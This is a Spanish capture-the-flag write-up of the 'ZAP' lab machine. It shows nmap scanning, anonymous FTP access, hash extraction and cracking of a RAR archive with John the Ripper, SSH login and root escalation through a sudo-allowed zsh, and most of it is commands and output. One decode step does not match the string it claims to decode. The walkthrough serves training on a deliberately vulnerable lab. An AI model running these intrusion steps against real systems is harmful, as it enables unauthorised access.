← Volver
thehackerslabs
Fácil

Máquina ZAP - thehackerslabs

Publicado: 2025-11-25

Disclaimer

Nota: Por motivos de ética y para fomentar el aprendizaje, algunos datos sensibles (contraseñas y flags) han sido censurados parcial o completamente.

Reconocimiento

Para comenzar, como siempre, vamos a crearnos nuestros directorios de trabajo.

> mkdir ZAPP            
> cd ZAPP
> mkdir nmap content exploit
> ls
content  exploit  nmap

Vamos a realizar el escaneo con nmap, para ver los puertos abiertos que tiene la máquina.

> nmap -p- --open -Pn -vvv -n -sS --min-rate 5000 192.168.0.22 -oG Allports
# Nmap 7.93 scan initiated Sat Nov 15 17:05:08 2025 as: nmap -p- --open -Pn -vvv -n -sS --min-rate 5000 -oG Allports 192.168.0.22
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 192.168.0.22 ()   Status: Up
Host: 192.168.0.22 ()   Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 80/open/tcp//http///   Ignored State: closed (65532)
# Nmap done at Sat Nov 15 17:05:14 2025 -- 1 IP address (1 host up) scanned in 6.42 seconds

Como vemos, están abiertos los puertos: 21, 22, 80. Vamos a realizar un escaneo más exhaustivo, para ver más información.

> nmap -sCV -p22,80,21 192.168.0.22 -oN Targeted
# Nmap 7.93 scan initiated Sat Nov 15 17:05:35 2025 as: nmap -sCV -p22,80,21 -oN Targeted 192.168.0.22
Nmap scan report for 192.168.0.22
Host is up (0.0085s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.0.13
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              28 Oct 29 20:59 login.txt
|_-rw-r--r--    1 0        0              65 Oct 29 21:23 secret.txt
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey: 
|   3072 a323b3aadfc651cba20c928e6bfe96ee (RSA)
|   256 fd952f2f7f5a21b50e752cda18c95235 (ECDSA)
|_  256 a10e0d798e543e0eed2f96d6d39a9fa6 (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: zappskred - CTF Challenge
MAC Address: D8:F3:BC:4D:AC:A3 (Liteon Technology)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 15 17:06:00 2025 -- 1 IP address (1 host up) scanned in 25.65 seconds

Vemos que el puerto 21 (ftp) tiene habilitado el usuario anonymous.

Vamos a conectarnos para ver qué contiene:

> ftp anonymous@192.168.0.22                               
> Connected to 192.168.0.22.
220 Welcome zappskred.
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||18219|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              28 Oct 29 20:59 login.txt
-rw-r--r--    1 0        0              65 Oct 29 21:23 secret.txt
226 Directory send OK.

Vemos dos archivos; vamos a descargarlos para ver su contenido.

ftp> get login.txt
> cat login.txt
puerto
4444
coffee
GoodLuck
> cat secret.txt
0jO cOn 31 c4fe 813n p23p424dO, 4 v3c35 14 pista 357a 3n 14 7424

Vemos varias palabras, y un mensaje que dice algo como “Ojo con el café bien preparado, a veces la pista está en la taza”.

Vamos a revisar la página web para ver qué contenido tiene:

ZAPP_WEB

Vemos una imagen y poco más; vamos a revisar el código fuente. Para ver si hay algo raro.

fuente_web

Vemos una cadena que parece estar en base64: “VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=“.

Vamos a ver qué dice; tuve que realizar el siguiente comando 4 veces.

> echo "f0db7bd084e1a9edad5c14c72a8a0677" | base64 -d
cuatrocuatroveces

Vemos la frase “cuatrocuatroveces”; pruebo eso como dirección en la página para ver si existe el directorio:

web_cuatroveces

Vemos un Sup3rP4ss.rar; si lo intentamos extraer, nos pide una pass.

Por tanto, voy a jugar con rar2john, para extraer un hash, y luego intentar romperlo.

> rar2john Sup3rP4ss.rar
Sup3rP4ss.rar:$rar5$16$7fd9df5fd4277912db70ac859ba28061$15$48def3bf4ba6f34e055c2b18ce80081c$8$0a8addf4f732b161

Vamos a guardar ese hash e intentar romperlo; voy a tirar del rockyou.txt.

john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 128/128 SSE2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
reema            (Sup3rP4ss.rar)     
1g 0:00:08:19 DONE (2025-11-16 14:19) 0.002003g/s 169.1p/s 169.1c/s 169.1C/s rockyou2009..randy06
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Vemos que la pass es “reema”; vamos a extraer el contenido para ver qué contiene.

7z l Sup3rP4ss.rar 
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:4 OPEN_MAX:524288, ASM

Scanning the drive for archives:
1 file, 174 bytes (1 KiB)

Listing archive: Sup3rP4ss.rar

--
Path = Sup3rP4ss.rar
Type = Rar5
Physical Size = 174
Characteristics = Locator QuickOpen:0
Encrypted = -
Solid = -
Blocks = 1
Method = v6:128K:m3
Multivolume = -
Volumes = 1

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-10-30 17:28:23 ....A           34           48  Sup3rP4ss.txt
------------------- ----- ------------ ------------  ------------------------
2025-10-30 17:28:23                 34           48  1 files

Vemos un Sup3rp4ss.txt; vamos a ver su contenido.

> cat Sup3rP4ss.txt

Intenta probar con más >> 3spuM4

Vemos una posible credencial, quizás, “3spuM4“.

Luego de investigar, me encuentro algo curioso en el title page:

curl -v 192.168.0.22 2>&1 | grep "<title>"
    <title>zappskred - CTF Challenge</title>

Vemos un zappskred; me pareció un usuario y teniendo una posible pass “3spuM4“.

Intenté conectarme por SSH.

ssh zappskred@192.168.0.22


    ███████╗ █████╗ ██████╗ ██████╗ 
 ╚══███╔╝██╔══██╗██╔══██╗██╔══██╗
   ███╔╝ ███████║██████╔╝██████╔╝
  ███╔╝  ██╔══██║██╔═══╝ ██╔═══╝ 
 ███████╗██║  ██║██║     ██║     
 ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝     


zappskred@192.168.0.22's password: 
Linux TheHackersLabs-ZAPP 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64

Last login: Sat Nov 15 14:43:05 2025 from 192.168.0.13
ZAPP
+)Creador: puerto4444
+)Nombre: ZAPP
+)IP: 192.168.0.22
----------------------------------------
zappskred@TheHackersLabs-ZAPP:~$ 

Y funcionó, logramos ingresar a la máquina como el usuario “zappskred”; ahora solo nos falta escalar privilegios.

Escalada de Privilegios

Haciendo un “sudo -l” y colocando la pass del usuario, vemos lo siguiente:

sudo -l
sudo: unable to resolve host TheHackersLabs-ZAPP: Name or service not known
[sudo] password for zappskred: 
Matching Defaults entries for zappskred on TheHackersLabs-ZAPP:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zappskred may run the following commands on TheHackersLabs-ZAPP:
    (root) /bin/zsh

Vemos que podemos ejecutar como root “/bin/zsh“, por tanto, es simplemente usar la siguiente línea y seríamos root:

sudo zsh
sudo: unable to resolve host TheHackersLabs-ZAPP: Name or service not known
TheHackersLabs-ZAPP# whoami
root
TheHackersLabs-ZAPP# 

Y con eso terminaríamos la máquina.

Aprendizaje

  • Análisis del código fuente.

  • Analisis de un archivo .rar y como extraer un hash y romperlo con john.